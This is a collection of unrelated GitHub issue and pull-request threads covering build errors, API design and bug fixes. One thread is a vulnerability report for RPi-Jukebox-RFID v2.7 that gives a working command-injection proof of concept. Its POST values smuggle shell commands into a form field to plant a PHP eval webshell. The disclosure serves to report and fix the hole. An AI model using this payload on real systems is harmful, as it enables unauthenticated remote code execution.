color := colorMap[1 + integer((size(colorMap,1)-1)*(max(T_min,min(T,T_max))-T_min)
                              / (T_max-T_min)), :];

since it requires only one call to size (although I suspect the tool would optimize that away anyway). It's also easier to understand.

Comment by otter on 30 Jun 2011 19:41 UTC
Fixed in cc1ab9035aaf16438858ce75bce9de748708dce0 (according to the suggestion from Stefan and tested with the provided script)

Modified by dietmarw on 31 Oct 2011 08:19 UTC


Feature enable_auto_anti_affinity_drs_rules can't handle long deployment names

Describe the bug
After setting enable_auto_anti_affinity_drs_rules to true deployments with a name exceeding a certain length will fail with:
Unknown CPI error ''Unknown'' with message ''''bosh-tenant001-postgresql-service-compilation-0222c0e7-9ff7-4ad4-95ec-8eb9d0564ada'' is invalid or exceeds the maximum number of characters permitted.'' in ''create_vm'' CPI method (CPI request ID: ''cpi-383383'')

To Reproduce
Steps to reproduce the behavior:

setting enable_auto_anti_affinity_drs_rules to true
Create a deployment including some packages to compile. Set the name to <some name probably longer than 30 charactes depending on your directors name>

CPI Error Log
Date: 2019-06-19 07:58:35 +0000
Additional Request Headers:
SOAPAction: "urn:vim25/6.7"
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
Request Body:
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soapenv:Body><ReconfigureComputeResource_Task xmlns="urn:vim25"><_this type="ClusterComputeResource">domain-c22</_this><spec xsi:type="ClusterConfigSpecEx"><rulesSpec><operation>add</operation><info xsi:type="ClusterAntiAffinityRuleSpec"><enabled>true</enabled><name>bosh-tenant001-postgresql-service-compilation-a2daeec4-518c-4af7-9e4f-2c6136edb08f</name><vm type="VirtualMachine">vm-58981</vm></info></rulesSpec></spec><modify>true</modify></ReconfigureComputeResource_Task></soapenv:Body>
</soapenv:Envelope>
= Response

Status: 200 OK
Response Headers:
Date: Wed, 19 Jun 2019 07:58:35 GMT
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: text/xml; charset=utf-8
Content-Length: 474
Response Body:
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
 xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ReconfigureComputeResource_TaskResponse xmlns="urn:vim25"><returnval type="Task">task-692975</returnval></ReconfigureComputeResource_TaskResponse>
</soapenv:Body>
</soapenv:Envelope>

[...]

= Request

POST https://xxxxxxxxx/sdk/vimService

Date: 2019-06-19 07:58:35 +0000
Additional Request Headers:
SOAPAction: "urn:vim25/6.7"
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
Request Body:
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http:
//www.w3.org/2001/XMLSchema">
<soapenv:Body><RetrievePropertiesEx xmlns="urn:vim25"><_this type="PropertyCollector">propertyCollector</_this><specSet><propSet><type>Task</type><all>false</all><pathSet>info.name</pathSet><pathSet>info.
descriptionId</pathSet><pathSet>info.progress</pathSet><pathSet>info.state</pathSet><pathSet>info.result</pathSet><pathSet>info.error</pathSet><pathSet>info.entity</pathSet></propSet><objectSet><obj type=
"Task">task-692975</obj><skip>false</skip></objectSet></specSet><options></options></RetrievePropertiesEx></soapenv:Body>
</soapenv:Envelope>
= Response

Status: 200 OK
Response Headers:
Date: Wed, 19 Jun 2019 07:58:35 GMT
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: text/xml; charset=utf-8
Content-Length: 1332
Response Body:
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
 xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<RetrievePropertiesExResponse xmlns="urn:vim25"><returnval><objects><obj type="Task">task-692975</obj><propSet><name>info.descriptionId</name><val xsi:type="xsd:string">ClusterComputeResource.reconfigureEx</val></propSet><propSet><name>info.entity</name><val type="ClusterComputeResource" xsi:type="ManagedObjectReference">domain-c22</val></propSet><propSet><name>info.error</name><val xsi:type="LocalizedMethodFault"><fault xsi:type="InvalidName"><name>bosh-tenant001-postgresql-service-compilation-a2daeec4-518c-4af7-9e4f-2c6136edb08f</name></fault><localizedMessage>'bosh-tenant001-postgresql-service-compilation-a2daeec4-518c-4af7-9e4f-2c6136edb08f' is invalid or exceeds the maximum number of characters permitted.</localizedMessage></val></propSet><propSet><name>info.name</name><val xsi:type="xsd:string">ReconfigureComputeResource_Task</val></propSet><propSet><name>info.state</name><val xsi:type="TaskInfoState">error</val></propSet></objects></returnval></RetrievePropertiesExResponse>
</soapenv:Body>
</soapenv:Envelope>

Expected behavior
Deployment shall shorten the name of silently created objects appropriately while keeping uniqueness.
Screenshots
See attachment
Release Version & Related Info (please complete the following information):

CPI Version 52.1.1
BOSH Director Version 268.7.0
Stemcell Name & Version 170.76
vCenter Version 6.5
NSX(T/V) Version (If using)

Additional context
Add any other context about the problem here.

I don't think that there's anything we can do about this. If we choose to trim the name we lose a guarantee of uniqueness for the created DRS anti affinity rule. As such in this instance we recommend that the user choose a shorter name for their deployment and/or instance group.

Thanks for the answer ktchen14. I agree there seems to be no trivial way to solve this defect.
However imho at least error handling should be improved to check name length before sending  a create vm request to vcenter and give a proper error message. Also this kind of constraints should be mentioned in the documentation alongside with e.g. no of vms must not exceed no host in the target cluster.
Further to solve the issue:

The name of the rule could be a 80 character hash over the calculated name. I guess clashes are very unlikely for this hash size
You could use the vm name of the first vm of the group (job instance index 0). The vm name is unique. There will be exactly one rule per instance group per deployment.

@ktchen14 would you mind to comment?

@damzog: Thanks for suggesting some solutions.

We will work on better error handling.

Using vm-name is not possible at all because of the way CPI and BOSH interact.

Using an 80 character hash over the calculated name is an option given uniqueness constraints and constraints described below are not violated.

The way naming works currently is by using this string <director-name>-<deployment-name>-<job-name>
which helps in setting auto anti-affinity between VMs of the same instance group but not across all instance groups.
Also, if the name of an instance group is the same, for example, master (common name), the current rule name will still distinguish between two different deployments by making two separate rules.
THEREFORE, the naming has to adhere to the same principles if it has to work the same as in prior releases.

Also this kind of constraints should be mentioned in the documentation

We can add something to vSphere CPI docs on bosh.io  about guidelines on naming and how auto-generated names/ids are created in CPI.
For now, the bug does not seem like a blocker so it might be some time it is picked up for release.
If you need this really soon in a patch release,  feel free to PR a change in.

Another issue with 80 char HASH is losing readability of what rule belongs to what deployment and instance group.
We just introduced human-readable names for VMs in v53. Going back to HASH names, though only for rules will be kind of going backward.
Some of the functions introduced to create unique 80 char human-readable names can be reused to create shortened names for rules too.


slow loading

When I search normally, it loads very easily, but when I use this, it becomes very slow.

What source are you searching on? Is the search fast when doing the search on that site directly?
For Danbooru for example, sorting by score is always slow, even on their website. It can even timeout given the tags you use it with.


Transaction confirmation popup - show etherscan link right away #585

Fixes #585
Setting resolveImeediately as true at resolveTxOnConfirmation function In the last transaction.

addProtection
protectLiquidity
addLiquidity
removeLiquidity

I found that after submitting a transaction with resolveImmediately, balance is not immediately synced in the list.
It is not clear whether there is a possibility of bugs when the UI action is executed during the confirmation process.
any thoughts?
@Velua @pingustar

@sirius651 Do you wanna perform some test trades and adding liquidity on ropsten to test this out?

@sirius651 Do you wanna perform some test trades and adding liquidity on ropsten to test this out?

@Velua yes, I tested this on my side. but want to double check on your side. There could be an edge cases like problems while balance is out of sync on ui.

@pingustar can you take a look

@pingustar
Fixed 'withdraw' thing.

I found that after submitting a transaction with resolveImmediately, balance is not immediately synced in the list....

not sure I follow, can you ping me about this.

For example, I put some amount and send transaction with it, then get tx confirmation message on popup. At that time, the balance is not updated. Because the confirmation hasn't been completed. so, as a user perspective, they should refresh it after checking the confirmation.
Prior to that, it seems to have waited for confirmation to be completed and called the below code. so, they can see updated balance right away.
const txHash = await this.resolveTxOnConfirmation({
      tx: contract.methods.removeLiquidity(dbId, ppmPercent),
      resolveImmediately: true
    });

    (async () => {
      await wait(600);
      this.fetchLockedBalances();
      this.fetchProtectionPositions({});
      await wait(2000);
      this.fetchLockedBalances();
      this.fetchProtectionPositions({});
    })();

so, I mean, if there's an action associated with the not updated balance, it might be affected.

@sirius651 thanks for clarifying.
Good point, please raise this concern in the issue and tag @ashachaf or @yudilevi for further information on how to handle such case.

@sirius651 now that Yudi has clarified does that get you out of trouble?

now that Yudi has clarified does that get you out of trouble?

yes I think so. according to him, it can be merged. @Velua


edit fakelag

disable fakelag(choke=1;= =I can only do that) when i enable the mic or fight

You do not need keystate.h
use
g_input.key_pressed( virtual_key_code )

This is also not a proper fix for voice chat whilst using fakelag.

You do not need keystate.h
use
g_input.key_pressed( virtual_key_code )

This is also not a proper fix for voice chat whilst using fakelag.

= =ok

Engine -> IsVoiceTransmitting or something like that to see if you’re talking in game

Engine -> IsVoiceTransmitting or something like that to see if you’re talking in game

my bad = =;

Engine -> IsVoiceTransmitting or something like that to see if you’re talking in game

You do not need keystate.h
use
g_input.key_pressed( virtual_key_code )

This is also not a proper fix for voice chat whilst using fakelag.

i have more change, can i requests again?

If you want to, if the changes meet the project’s code standard they will be accepted.

If you want to, if the changes meet the project’s code standard they will be accepted.

thanks you


Error with GetX implementation

════════ Exception caught by widgets library ═══════════════════════════════════
The following assertion was thrown building StreamBuilder(dirty, state: _StreamBuilderBaseState<bool, AsyncSnapshot>#267ef):
'package:flutter/src/rendering/object.dart': Failed assertion: line 2462 pos 12: 'attached': is not true.

alternatively you can use the flutter_typeahead  package, it is compatible with GetX

OverlayEntry does not seem to be remove during state transitions.
Perhaps GetX is not the cause.
https://api.flutter.dev/flutter/widgets/OverlayEntry/remove.html


connecte and reconnect

I use my own network library, but there is a problem that bothers me. why cpp_redis::network::tcp_client_iface::connect is synchronous, when cpp_redis call reconnect, connect will block a thread in thread pool.

Hi @Clinkz24 ,
I understand your point of view and it was also requested by someone else in the past (don't recall the issue).
I would love to change the design to do so (having an async connect as well as a sync version like sync_connect, in the same way we got a commit and sync_commit).
It is recorded on my list of improvement, but to be honest, I kind of lack time to do so currently as I'm working on more than 3 different open-source projects as the main (co-)maintainer.
PR are welcome if you are willing to provide the change (even if not perfect, it is usually pretty fast for me to do some final adjustments, that's what I did for the windows port or the sentinel support for example). Otherwise, I can't really give you any timeline concerning this change other than "some day".
I'm closing the issue, but feel free to re-open or leave a comment if you feel the need.
Best


Endpoint mapping doesn't work correctly

Please see this thread:
https://continuous-feedback.slack.com/archives/C03SVPZ7GH2/p1697555822430509?thread_ts=1696924554.545069&cid=C03SVPZ7GH2
also, check support for springboot2.7

nothing to do here, probably it is supported


Installation error: No matching distribution found for onnxruntime<2,>=1.10.0 (from openwakeword)

Description of bug
I have tried installing from the github repo via pip and also directly with pip as suggested in the README, however I encounter the following error:
Collecting openwakeword
  Cache entry deserialization failed, entry ignored
  Cache entry deserialization failed, entry ignored
  Downloading https://files.pythonhosted.org/packages/44/07/8927f02aae39160fc78b27318a1439a3caab14375d95d71cbd65808f026c/openwakeword-0.2.0-py3-none-any.whl (9.3MB)
    100% |████████████████████████████████| 9.3MB 55kB/s
Collecting onnxruntime<2,>=1.10.0 (from openwakeword)
  Could not find a version that satisfies the requirement onnxruntime<2,>=1.10.0 (from openwakeword) (from versions: )
No matching distribution found for onnxruntime<2,>=1.10.0 (from openwakeword)

I am trying to install this on a Raspi4 with arm64.
@dscripka any ideas how I can solve this?

It seems like I didn't have the latest version of pip! LOL I resolved this now.


Include version numbers in release file names

Could we add the version tag to the download zip file name?
I had a whole handful of the same zip (1) (2) (3) and I now just delete them all and download again, but it could be nice

This is how all the rest of open-source software tends to work too… we should probably do the same?

Ah yeah, this should be pretty easy!

Fixed in the latest release! https://github.com/buildkite/agent/releases/tag/v1.0-beta.20 :dancers:


Various (Swift 3) cleanups

Current coverage is 85.69% (diff: 72.34%)

Merging #779 into master will decrease coverage by 0.24%

@@             master       #779   diff @@
==========================================
  Files            30         30
  Lines          2618       2615     -3
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
- Hits           2250       2241     -9
- Misses          368        374     +6
  Partials          0          0

Powered by Codecov. Last update c666c6b...df3e9a0

          1 Warning

  :warning:
  Consider adding supporting documentation to this change. Documentation can be found in the docs directory.

SwiftLint found issues
Warnings

File
Line
Reason

Endpoint.swift
110
Lines should not have trailing whitespace.

  Generated by :no_entry_sign: danger

@BasThomas is this also ready to merge?


⚠ GitLab Server has degraded performance

In 3743fd3, GitLab Server (https://gitlab01.its-telekom.eu) experienced degraded performance:

HTTP code: 200
Response time: 14157 ms

Resolved: GitLab Server performance has improved in a7bf73e.


App crashes on mac when quit is invoked

This is due to our choice of creating the menu in a renderer process.
The renderer process is closed before the quit event, which is implemented in the just closed renderer process. Therefore the object containing the quit functionality has been destroyed -> exception.
Fix: Close app when all windows are closed on mac as well, even though this is not default behaviour.


Minor variations

package.Workbook.Worksheets.Add does not use the sheetName passed from GeneratePackage.
PopulateSheet from GeneratePackage does not pass tableName and tableSyle. @volkanceylan

Thanks @Estrusco


improve font providers

each provider supports some very interesting things, including axes for variable fonts, that we are not always taking advantage of.
would be nice to:

support passing options to a provider (e.g. google can accept a text option to refine the subset)
look at and improve google, fontshare, bunny providers

@danielroe I'm wondering how we should provide support for variable fonts. AFAIK some of our providers eg. adobe doesn't support variable fonts, so how should we deal with these providers if default.weight is defined as a string in config? Should we just disable the unsupported providers in such cases?

closing as it's a bit broad
specific issues can be raised in https://github.com/unjs/unifont


[GLUTEN-5471][VL]feat: Support read Hudi COW table

What changes were proposed in this pull request?
Support read hudi COW tables. This PR is updated based on PR. Thanks @xushiyan for contribution.
(Fixes: #5471)
How was this patch tested?
new UTs added

@xushiyan please help take a review. cc @leesf.

@yma11 Thanks for the MR, do we also tested MOR table with Read Optimized Queries or only support COW? please refer to https://hudi.apache.org/docs/next/table_types/

Hi @yma11 @xushiyan - Any plan for pushing this to master branch for production use case

Hi @yma11 @xushiyan - Any plan for pushing this to master branch for production use case

@Amar1404 yes we should land this soon. cc @leesf @YannByron please also give input on the PR when you have a chance.


map style gets reset when query button is used

a bupu colormap is assigned

colormap is changed

on query the map style is reset

This  probably happens because the legend does not write the new url to the store and the map query /info reads the previous from the store

@JinIgarashi  after your refactoring of MapQueryPanel the bug can not reproduced. I am closing this down


Document allowing unsafe sysctls in minikube

Add guide on allowing unsafe sysctls when using minikube

This change is

@vishh, @random-liu, @tallclair Can one of you give tech approval for this small change? Thanks.

Because of the weird layout error in the developer preview, I'll close this in favor of https://github.com/kubernetes/kubernetes.github.io/pull/5894 , which renders correctly.


Open Editors: middle mouse closes and opens editor

Steps to Reproduce:

open some editors in multiple groups
middle-click into the non-active group editor in the open editors view

=> 🐛 the editor closes but also opens the next editor in the list
I would expect the editor to close and not open.
@isidorn pushed a workaround, please check: https://github.com/microsoft/vscode/commit/b032304497183709c76861b19bf405b17afc992a

@bpasero thanks, I will check it in the afternoon (since currenly I do not have a mouse).

I can not reproduce the issue with Insiders from 3 days ago which does not contain your fix
However your fix looks good, and looking at the code and analysing the behavior on my machine I am just lucky that onDidOpen fires first, and only latter the onMiddleClick fires. So for me first I open it which is a no-op, and then the middleClick comes which closes it resulting in a correct behavior at the end.
However your fix is good, since it covers this case when the events come in the opposite order.
Thus closing


[TypeChecker] Add retired constraints to the front of the list in SolverScope

Since retired constraints are re-added back to the circulation in LIFO
order, make sure that all of the constraints are added to the front of
SolverScope::retiredConstraints list.

/cc @rudkx @DougGregor

I don't understand how it is that this resolves a crash?

@DougGregor The reason why it helps is because crash happens in salvage where the last SolverScope (created by solveRec) have been deallocated and all retired constraints should be returned but since in removeInactiveConstraint I'm calling push_back instead of push_front disjunction generated by optimizeConstraints has not returned to the InactiveConstraints - since constraints are re-inserted in LIFO order - and, at the same time, was returned to the graph... I've also went through all of the usages of retiredConstraints and made sure that everything is using push_front.

Yeah the basic problem is that in ~SolverScope we restore the retiredConstraints to where they were prior to this scope, but that code assumes new retired constraints are pushed on the front of the list.
It would be good to clean this up to refactor into clearly documented functions that capture the current state, restore the previous current state, and add newly retired constraints so that all the logic is kept together in one place. Otherwise this is just too easy to get wrong.
@xedin Would you mind taking a crack at that? It doesn't have to be anything fancy - just something that makes it less likely to put constraints at the wrong end of the list in the future.

@rudkx Absolutely!

@rudkx Done! I've abstracted coupling between state and scope into register/rollback sequence, so state is now responsible for actual rollback logic, and added getter/setter methods to retired/generated constraints.

@swift-ci Please smoke test

I understand now, thank you for the fix (and the education)!


feat: Make pubsub DI friendly

closes #9238
commit1: styling tweaks for PublisherClient
commit2: Added service collection extension methods and tests for Publisher and Subscriber Client
commit3: Implement IAsyncDisposable in PublisherClient and SubscriberClient and their tests.

This isn't ready for review yet. I am adding couple of more commits and will update when its ready for review. Thanks.

Closing as this needs work in tests. Will raise a new PR to keep the commits clean.


This commit removes the previously hardcoded version "0.10.0" and retrieve the latest available version. This ensures the application always benefits from the newest features and performance improvements.

Description
Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context.
Fixes # (issue)
Checklist
Please ensure the following items are complete before submitting a pull request:

[x] My code follows the code style of the project.
[ ] I have updated the documentation (if applicable).
[ ] I have added tests to cover my changes.

Type of Change
Please check the relevant option below:

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] Documentation update (non-breaking change which updates documentation)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)

Screenshots
If applicable, please add screenshots to help explain your changes.
Additional Notes
Add any additional information or context about the pull request here.

Hi @khanhlvg,
Could you please review and approve this changes? Thank you!!!


count with a predicate on Sets doesn't work

Set([1, 2, 3, 4, 5]).count(x => true) returns 0 instead of 5.
I added this test to __tests__/Set.ts:
+  it('can count entries that satisfy a predicate', () => {
+    let set = Set([1, 2, 3, 4, 5]);
+    expect(set.count(x => true)).toEqual(5);
+  });

and get:
 FAIL  __tests__/Set.ts
  ● Set › can count entries that satisfy a predicate

    expect(received).toEqual(expected)

    Expected value to equal:
      5
    Received:
      0

Thanks for the report!


🐛 | RPi-Jukebox-RFID V2.7_RCE_5

Version
v2.7.0
Branch
released
OS
ubuntu 22
Pi model
unknown
Hardware
No response
What happened?
Hello,
I would like to report for a RCE vulnerability in RPi-Jukebox-RFID-v2.7(No permissions required)
Analysis
The path of the vulnerability: htdocs\trackEdit.php
if($_POST['ACTION'] == "trackDelete") {		// Line 232 (CheckPoint)
    if($_POST['deleteTrack'] == "yes") {	// Line 233 (CheckPoint)
        $exec = 'sudo rm "'.$post['folder'].'/'.$post['filename'].'"'; // Line 235 (Source)
        exec($exec);	// Line 236 (Sink)

Source from Line 235 ($_POST['folder'] and $_POST['filename']  ) .
And then there are two check point(Line 232 and Line 233) ,which we should set $_POST['ACTION'] = trackDelete and  $_POST['deleteTrack'] = yes  to bypass.
After bypass two check point, the source(tainted) pass to $exec and exec($exec);(Line 236) without another check.
Poc
POST /htdocs/trackEdit.php
Data:
ACTION=trackDelete&deleteTrack=yes&folder=hello%22+%3b+echo+%22%3c%3fphp+%40eval(%24_POST%5b%27pass%27%5d)+%3f%3e%22++%3e+.%2fshell5.php+%3b&filename=1%22
Here is the version without url encoding for ease of understanding:
ACTION=trackDelete&deleteTrack=yes&folder=hello" ; echo "<?php @eval($_POST['pass']) ?>"  > ./shell5.php ;&filename=1"
Manual verification

The attacker can then easily connect to this webshell(/htdocs/shell5.php)
Logs
No response
Configuration
No response
More info
No response

I'm sorry for the issue with the PoC I wrote earlier. I forgot to escape @, which resulted in the generated webshell being unusable. Here is the correct PoC:
Poc_fixed
POST /htdocs/trackEdit.php
Data
ACTION=trackDelete&deleteTrack=yes&folder=hello%22+%3b+echo+%22%3c%3fphp+%40eval(%5c%24_POST%5b%27shell5%27%5d)+%3f%3e%22++%3e+.%2fshell5.php+%3b&filename=1%22
Here is Data without url encoding for ease of understanding:
ACTION=trackDelete&deleteTrack=yes&folder=hello" ; echo "<?php @eval(\$_POST['shell5']) ?>"  > ./shell5.php ;&filename=1"
Manual verification


Update Unity3D to 2019.x

Issue description
As of Unity 2019.1, the Linux editor has moved from experimental to preview support, and is planned to be fully supported by 2019.3. 2018.3 is currently packaged.
Steps to reproduce
N/A
Technical details
Please run nix-shell -p nix-info --run "nix-info -m" and paste the
results.
N/A

Note that Unity is now installed via the Unity Hub AppImage, which downloads an editor for Ubuntu to a user-specified directory, and .tar.xz downloads are no longer available. I'm not sure how this should be packaged.

maintainer: @tesq0


Allow configuring CAN interfaces via LEA/CLEO

A user should be able to define a network interface as either Ethernet or CAN.
For a CAN interface, further parameters should be provided.
Tasks:

[x] Adjust opendut-types as illustrated below.
[ ] Configuration via CLEO + use in THEO.
[ ] Configuration via LEA.
[ ] Enhance EDGAR to use these new configuration.

#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
pub struct PeerNetworkInterface {
    name: NetworkInterfaceName,
    configuration: PeerNetworkInterfaceConfiguration,
}

#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
pub enum PeerNetworkInterfaceConfiguration {
    Ethernet,
    Can {
        bitrate: i32,
        sample_point: f32,
        time_quanta: i32,
        propagation_segment: i8,
        phase_buffer_segment1: i8,
        phase_buffer_segment2: i8,
        synchronization_jump_width: i8,
        flexible_data_rate: bool,
        ...
    },
}

opendut-types/proto/opendut/types/peer/peer.proto:
message PeerNetworkInterface {
  opendut.types.util.NetworkInterfaceName name = 1;
  oneof configuration {
    EthernetInterfaceConfiguration ethernet = 11;
    CanInterfaceConfiguration can = 12;
  }
}

opendut-types/proto/opendut/types/util/net.proto:
message EthernetInterfaceConfiguration {}

message CanInterfaceConfiguration {
  int32 bitrate = 1;
  float sample_point = 2;
  int32 time_quanta = 3;
  int32 propagation_segment = 4;
  int32 phase_buffer_segment1 = 5;
  int32 phase_buffer_segment2 = 6;
  int32 synchronization_jump_width = 7;
  bool flexible_data_rate = 8;
  ...
}

Initially reported by @hafklin.

The current state of this is that one can configure the interface type via CLEO as either CAN or Ethernet, but no selection of CAN parameters is possible.

Sufficient CAN configuration for LEA was implemented in #235
Configuiration options in CLEO will be added with  #276


Correcting the indexing issues in the Readme

If anyone is willing to correct the indexing issues then let me know in this thread.
There are a few sections that are not having their index currently and some are not working properly as well

Could you explain this more please

hey! can i work on this issue, thanks!

!assign

@plopez26DPU I have assigned you the issue.
All the best

@Delvitron1019 , thanks, but I will work on it

PR is submitted and is under review currently for this issue

Can i get assigned for this please

I will beautify the readme and make it more attractive

Please assign someone else.

Let me know whoever is willing to work on this
https://github.com/aaryan2134/Engineering-Resources/pull/102
You can check this out and read the comments to know what needs to be done exactly

Hey ! I would love to work on this by making my first Hacktoberfest submission.
It would be great if you assign me this.

Sure @prabhleenn

@prabhleenn Are you still working on this?

@aaryan2134 I have raised a PR to remove the unnecessary tags.
https://github.com/aaryan2134/Engineering-Resources/pull/148


[WIP] Save Registration Form

Scope of changes
Endpoint 1: POST /v1/register: submit form data to be saved on the server instead of local storage. This will mostly be the same as the current form, except it will be expanded to include both testnet/mainnet endpoint/common name (e.g. it will look like the form data, so that it won't have to be edited into a single directory form).

This endpoint will return 204: No Content if successful.
This endpoint will perform only limited data validation: it will accept the required keys and parse required types (e.g. bools, numbers) but will not perform any other validation (required field, mismatched data types, etc).
Requires user with update:vasp permission and orgid in claims

Endpoint 2: POST /v1/testnet or POST /v1/mainnet: will cause the form to be submitted to the directory service. No data is required in this POST because the data will be fetched from the saved form -- this means that the form MUST be saved before this endpoint is called.

This endpoint will return 200: Ok with the response from the directory (e.g. the PKCS12 password) if successful.
This endpoint will perform some basic validation on required fields before submitting to the directory service. The directory service may also return invalid argument.
Requires user with update:vasp permission and orgid in claims

Endpoint 3: GET /v1/register: will return the form data.

Requires user with read permission and orgid in claims
Expectation: is called once when the register page loads.

This PR also updates the BFF client with credentials and client options which will hopefully make testing a lot easier.
Type of change

[ ] bug fix
[ ] new feature
[ ] documentation
[ ] other (describe)

Acceptance criteria
Describe how reviewers can test this change to be sure that it works correctly. Add a checklist if possible
Author checklist

[ ] I have manually tested the change and/or added automation in the form of unit tests or integration tests
[ ]  I have updated the dependencies list
[ ]  I have recompiled and included new protocol buffers to reflect changes I made
[ ]  I have added new test fixtures as needed to support added tests
[ ]   Check this box if a reviewer can merge this pull request after approval (leave it unchecked if you want to do it yourself)
[ ]  I have moved the associated Shortcut story to "Ready for Review"

Reviewer(s) checklist

[ ] Any new user-facing content that has been added for this PR has been QA'ed to ensure correct grammar, spelling, and understandability.

Codecov Report

Merging #620 (3ede671) into main (07138c2) will decrease coverage by 6.08%.
The diff coverage is n/a.

:exclamation: Current head 3ede671 differs from pull request most recent head d5feb46. Consider uploading reports for the commit d5feb46 to get more accurate results

@@            Coverage Diff             @@
##             main     #620      +/-   ##
==========================================
- Coverage   45.99%   39.90%   -6.09%
==========================================
  Files         536      438      -98
  Lines       15606     4811   -10795
  Branches     1196     1196
==========================================
- Hits         7178     1920    -5258
+ Misses       7335     2707    -4628
+ Partials     1093      184     -909

Impacted Files
Coverage Δ

...github.com/trisacrypto/directory/pkg/bff/status.go

...com/trisacrypto/directory/pkg/bff/api/v1/client.go

...ithub.com/trisacrypto/directory/pkg/bff/members.go

...m/trisacrypto/directory/pkg/utils/logger/logger.go

.../trisacrypto/directory/pkg/utils/logger/testing.go

...github.com/trisacrypto/directory/pkg/bff/server.go

....com/trisacrypto/directory/pkg/trtl/interceptor.go

...hub.com/trisacrypto/directory/pkg/sectigo/creds.go

...github.com/trisacrypto/directory/pkg/utils/week.go

...sacrypto/directory/pkg/gds/models/v1/pagination.go

... and 88 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 07138c2...d5feb46. Read the comment docs.


Testing fails without pytest-xdist

All three tests in tests/test_xdist.py fails when there is no pytest-xdist installed.  This is because pytest-xdist is not listed as a test dependency in the pyproject.toml file.
Here is an example of the failure:
__________________________________ test_xdist __________________________________

project = <tests.conftest.project.<locals>.Project object at 0x7fffac6a0400>

    def test_xdist(project):

        project.setup(
            """\

    def test_a():
        assert 1==snapshot()
    """
        )

        result = project.run("--inline-snapshot=create", "-n=auto")

>       assert "\n".join(result.stderr.lines).strip() == snapshot(
            "ERROR: --inline-snapshot=create can not be combined with xdist"
        )
E       AssertionError: assert 'ERROR: usage: pytest [options] [file_or_dir] [file_or_dir] [...]\npytest: error: unrecognized arguments: -n=auto\n  inifile: None\n  rootdir: /tmp/pytest-of-marcel/pytest-7/test_xdist1' == 'ERROR: --inline-snapshot=create can not be combined with xdist'
E
E         - ERROR: --inline-snapshot=create can not be combined with xdist
E         + ERROR: usage: pytest [options] [file_or_dir] [file_or_dir] [...]
E         + pytest: error: unrecognized arguments: -n=auto
E         +   inifile: None
E         +   rootdir: /tmp/pytest-of-marcel/pytest-7/test_xdist1

/data/builds/oi-userland/components/python/inline-snapshot/build/amd64-3.9/tests/test_xdist.py:16: AssertionError
----------------------------- Captured stdout call -----------------------------
write code:
# äöß 🐍
from inline_snapshot import snapshot
from inline_snapshot import outsource

def test_a():
    assert 1==snapshot()

running: pytest --inline-snapshot=create -n=auto
     in: /tmp/pytest-of-marcel/pytest-7/test_xdist1
----------------------------- Captured stderr call -----------------------------
ERROR: usage: pytest [options] [file_or_dir] [file_or_dir] [...]
pytest: error: unrecognized arguments: -n=auto
  inifile: None
  rootdir: /tmp/pytest-of-marcel/pytest-7/test_xdist1

Did you use hatch test?

No.
We do not have support for hatch test in OpenIndiana, so for testing during packaging of inline-snapshot I use pytest with dependencies listed in pyproject.toml installed.
Is pytest-xdist an implicit dependency always satisfied by hatch test?

Is pytest-xdist an implicit dependency always satisfied by hatch test?

Yes, hatch test comes with several default dependencies https://hatch.pypa.io/latest/config/internal/testing/#dependencies
You can add pytest-xdist to your dependencies.
OpenIndiana is also interesting. Never heard about it.

Is pytest-xdist an implicit dependency always satisfied by hatch test?

Yes, hatch test comes with several default dependencies https://hatch.pypa.io/latest/config/internal/testing/#dependencies

Thanks for the pointer!  Still, I'm not sure it is reliable to rely on some defaults that could easily change in future.

You can add pytest-xdist to your dependencies.

Sure, I'm doing exactly that.

FYI, the new inline-snapshot package is heading to OpenIndiana: https://github.com/OpenIndiana/oi-userland/pull/19452


parallelize package building

Allow package building parallelizing. That's probably hard to achieve, but could be an important feature to improve speedup.
AUR deps chains calculation would need to be rewritten to segment chains in individual, consistent heaps to avoid aur building breakage.

That seems hard to implement, knowing that -jX is already defined in makepkg.conf. Closing as "wontfix".


fix(rust_indexer): handle ending offsets for files without ending newline

If a file being indexed does not have an ending newline (such as generated Rust protobuf files), the ending column of a definition span might exceed the number of columns in that line. Therefore if a byte offset is requested for a column that is longer than the line, we just return the offset for the last column in the line.

@jaysachs The easiest way to create the test was to remove the newline at the bottom of the anchors.rs test file. Before this PR, removing that newline would cause the indexer to panic, now it successfully indexes the test file and passes the verifier


fix email template performance issue due to mutual location loading

fixes scaling issue introduced with one of the recent bug fixes to the template rendering

Codecov Report

Merging #67 (cbbc2bf) into prep-release (a8ca519) will decrease coverage by 0.05%.
The diff coverage is 12.50%.

